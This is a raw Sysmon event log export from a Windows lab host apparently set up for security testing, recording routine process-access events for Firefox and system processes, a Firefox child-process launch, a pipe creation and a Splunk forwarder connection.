14:58:31.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050877Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050876Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.825{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050875Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.825{7BD73061-6D0B-613B-7F06-00000000F001}36603632C:\Windows\system32\csrss.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000050874Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.824{7BD73061-728D-613B-560B-00000000F001}47766696C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Mozilla Firefox\firefox.exe+2f04d|C:\Program Files\Mozilla Firefox\firefox.exe+2e255|C:\Program Files\Mozilla Firefox\xul.dll+1fc619a|C:\Program Files\Mozilla Firefox\xul.dll+9fbdfa|C:\Program Files\Mozilla Firefox\xul.dll+9f9fc5|C:\Program Files\Mozilla Firefox\xul.dll+a0123e|C:\Program Files\Mozilla Firefox\xul.dll+8ab830|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000050873Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.825{7BD73061-7297-613B-600B-00000000F001}6220C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4776.7.678568730\1128877926" -childID 4 -isForBrowser -prefsHandle 4516 -prefMapHandle 4472 -prefsLen 6889 -prefMapSize 244110 -jsInit 1192 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4776 "\\.\pipe\gecko-crash-server-pipe.4776" 4536 2385a8e9d38 tabC:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082LowMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 17141700x800000000000000050872Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:31.816{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.7.67856873C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050871Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.762{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050870Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.762{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050869Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.761{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000050868Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:29.110{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59527-false10.0.1.12-8089- 10341000x800000000000000050867Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.427{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+27c3fa8|C:\Program Files\Mozilla Firefox\xul.dll+27b52ec|C:\Program Files\Mozilla Firefox\xul.dll+bfe491|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9 10341000x800000000000000050866Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.373{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b5c4e8|C:\Program Files\Mozilla Firefox\xul.dll+19a2e8e|C:\Program Files\Mozilla Firefox\xul.dll+166f362|C:\Program Files\Mozilla Firefox\xul.dll+19ccb3c|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+19d5d8|C:\Program Files\Mozilla Firefox\xul.dll+19c48f|C:\Program Files\Mozilla Firefox\xul.dll+42102ba|C:\Program Files\Mozilla Firefox\xul.dll+427c355|C:\Program Files\Mozilla Firefox\xul.dll+427d173|C:\Program Files\Mozilla Firefox\xul.dll+1ef1143|C:\Program Files\Mozilla Firefox\firefox.exe+5c4d|C:\Program Files\Mozilla Firefox\firefox.exe+1bb98|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050865Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.361{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+27c3fa8|C:\Program Files\Mozilla Firefox\xul.dll+27b52ec|C:\Program Files\Mozilla Firefox\xul.dll+bfe491|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9 10341000x800000000000000050864Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.359{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+9e9474|C:\Program Files\Mozilla Firefox\xul.dll+b7d641|C:\Program Files\Mozilla Firefox\xul.dll+b59893|C:\Program Files\Mozilla Firefox\xul.dll+b59a47|C:\Program Files\Mozilla Firefox\xul.dll+b7d55f|C:\Program Files\Mozilla Firefox\xul.dll+bef0a5|C:\Program Files\Mozilla Firefox\xul.dll+3a4121|C:\Program Files\Mozilla Firefox\xul.dll+3a3ca4|C:\Program Files\Mozilla Firefox\xul.dll+3a3b48|C:\Program Files\Mozilla Firefox\xul.dll+27c3fa8|C:\Program Files\Mozilla Firefox\xul.dll+27b52ec|C:\Program Files\Mozilla Firefox\xul.dll+bfe491|C:\Program Files\Mozilla Firefox\xul.dll+27ac2ad|C:\Program Files\Mozilla Firefox\xul.dll+c057d6|C:\Program Files\Mozilla Firefox\xul.dll+bfe95b|C:\Program Files\Mozilla Firefox\xul.dll+39647b|C:\Program Files\Mozilla Firefox\xul.dll+c00578|C:\Program Files\Mozilla Firefox\xul.dll+27ad51e|C:\Program Files\Mozilla Firefox\xul.dll+27ad2b4|C:\Program Files\Mozilla Firefox\xul.dll+c06a32|C:\Program Files\Mozilla Firefox\xul.dll+c007d9 10341000x800000000000000050863Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.314{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050862Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.314{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050861Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.311{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050860Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.306{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050859Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.306{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050858Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.306{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050857Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.302{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050856Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.302{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050855Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.246{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050854Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.246{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050853Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.244{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050852Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.244{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050851Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.242{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050850Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:31.239{7BD73061-728D-613B-560B-00000000F001}47765424C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\firefox.exe+37eb0|C:\Program Files\Mozilla Firefox\firefox.exe+37da6|C:\Program Files\Mozilla Firefox\firefox.exe+49380|C:\Program Files\Mozilla Firefox\firefox.exe+4907c|C:\Windows\SYSTEM32\ntdll.dll+7f60d|C:\Windows\SYSTEM32\ntdll.dll+3a7f0|C:\Windows\SYSTEM32\ntdll.dll+1ed03|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 